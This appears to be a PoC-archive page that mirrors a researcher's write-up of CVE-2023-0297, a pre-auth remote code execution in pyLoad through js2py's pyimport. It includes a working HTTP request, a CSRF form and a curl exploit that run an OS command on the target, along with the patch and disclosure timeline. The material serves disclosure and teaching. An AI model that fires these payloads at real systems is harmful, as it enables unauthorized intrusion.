关联漏洞
标题:
pyload 代码注入漏洞
(CVE-2023-0297)
描述:pyload是一个用 Python 编写的免费开源下载管理器,设计为极其轻量级、易于扩展且可通过 Web 完全管理。 pyload/pyload 0.5.0b3.dev31及以前版本存在代码注入漏洞,该漏洞源于攻击者可以实现代码注入。
描述
CVE-2023-0297: The Story of Finding Pre-auth RCE in pyLoad
介绍
# CVE-2023-0297: Pre-auth RCE in pyLoad
The Story of Finding Pre-auth RCE in pyLoad
## TL;DR
A code injection vulnerability in pyLoad versions prior to 0.5.0b3.dev31 leads to pre-auth RCE by abusing `js2py`'s functionality.
You can find the report [here](https://huntr.dev/bounties/3fd606f7-83e1-4265-b083-2e1889a05e65/) and exploit code [here](https://github.com/bAuh0lz/Pre-auth-RCE-in-pyLoad#exploit-code).
## Details
[pyLoad](https://pyload.net/) is an OSS download manager written in Python and manageable via web interface. Its [GitHub repository](https://github.com/pyload/pyload) has approx. 2.8k stars as of Jan 9th 2023.
While I was auditing pyLoad's source code, the following code caught my eyes:
[cnl_blueprint.py#L124](https://github.com/pyload/pyload/blob/6aa71cd99a6f510de7137d17ec99f930916704c0/src/pyload/webui/app/blueprints/cnl_blueprint.py#L124)
```python
jk = eval_js(f"{jk} f()")
```
The definition of `eval_js` function is as follows:
[misc.py#L25-L27](https://github.com/pyload/pyload/blob/6aa71cd99a6f510de7137d17ec99f930916704c0/src/pyload/core/utils/misc.py#L25-L27)
```python
def eval_js(script, es6=False):
# return requests_html.HTML().render(script=script, reload=False)
return (js2py.eval_js6 if es6 else js2py.eval_js)(script)
```
`eval_js(f"{jk} f()")` uses [js2py](http://piter.io/projects/js2py)'s functionality which runs JavaScript code `f"{jk} f()"` where `jk` parameter is passed by a request parameter:
[cnl_blueprint.py#L120](https://github.com/pyload/pyload/blob/6aa71cd99a6f510de7137d17ec99f930916704c0/src/pyload/webui/app/blueprints/cnl_blueprint.py#L120)
```python
jk = flask.request.form["jk"]
```
Therefore you can run arbitrary JavaScript code by requesting the endpoint.
However, how can you abuse it? Since in the `js2py.eval_js()` context neither `XMLHttpRequest`, `fetch` nor `require` (like node.js) are not defined so SSRF or reading local files are not a thing.
After spending some time, I found a fancy `js2py`'s functionality:
[pyimport statement](https://github.com/PiotrDabkowski/Js2Py#pyimport-statement)
```md
Finally, Js2Py also supports importing any Python code from JavaScript using 'pyimport' statement:
>>> x = """pyimport urllib;
var result = urllib.urlopen('https://www.google.com/').read();
console.log(result.length)
"""
>>> js2py.eval_js(x)
18211
undefined
```
By using this functionality, you can use Python libraries in `js2py.eval_js()` context! Surprisingly `pyimport` is enabled by default. :o
I tried simple code that runs OS command by using `pyimport`:
```bash
$ ls /tmp/pwnd
ls: /tmp/pwnd: No such file or directory
$ python -c 'import js2py; js2py.eval_js("pyimport os; os.system(\"touch /tmp/pwnd\")")'
$ ls /tmp/pwnd
/tmp/pwnd
```
As expected, `touch /tmp/pwnd` was executed!
By sending the following request, the same thing would happen in the target host:
```http
POST /flash/addcrypted2 HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
jk=pyimport%20os;os.system("touch%20/tmp/pwnd");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa
```
`;f=function%20f2(){};` part in `jk` parameter is necessary as this endpoint runs `eval_js(f"{jk} f()")`. If not present, injected code won't get executed due to `name 'f' is not defined` error.
Note that a cookie and CSRF token are not present in the request. It means that:
- An unauthenticated attacker who can access the target host is capable of RCE.
- Even though an attacker cannot access the target host, they can trick a victim who can access the target host to do RCE by a CSRF attack:
```html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://<target>/flash/addcrypted2" method="POST">
<input type="hidden" name="package" value="xxx" />
<input type="hidden" name="crypted" value="AAAA" />
<input type="hidden" name="jk" value="pyimport os;os.system("touch /tmp/pwnd");f=function f2(){};" />
<input type="hidden" name="passwords" value="aaaa" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
```
## Exploit Code
```bash
curl -i -s -k -X $'POST' \
--data-binary $'jk=pyimport%20os;os.system(\"touch%20/tmp/pwnd\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
$'http://<target>/flash/addcrypted2'
```
## Patch
Just disable `pyimport` functionality.
[misc.py](https://github.com/pyload/pyload/commit/7d73ba7919e594d783b3411d7ddb87885aea782d)
```patch
import js2py
+js2py.disable_pyimport()
```
## Timeline
- 2023-01-02: Reported to [huntr.dev](https://huntr.dev/)
- 2023-01-04: Vulnerability verified
- 2023-01-04: Vulnerability fixed and report published
- 2023-01-14: CVE ID assigned
Thanks to hunr.dev team and a pyLoad maintainer for quick responses!
文件快照
[4.0K] /data/pocs/aba57ad4f61c7c3468d74c774b53221e42fe73f6
└── [4.9K] README.md
0 directories, 1 file
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。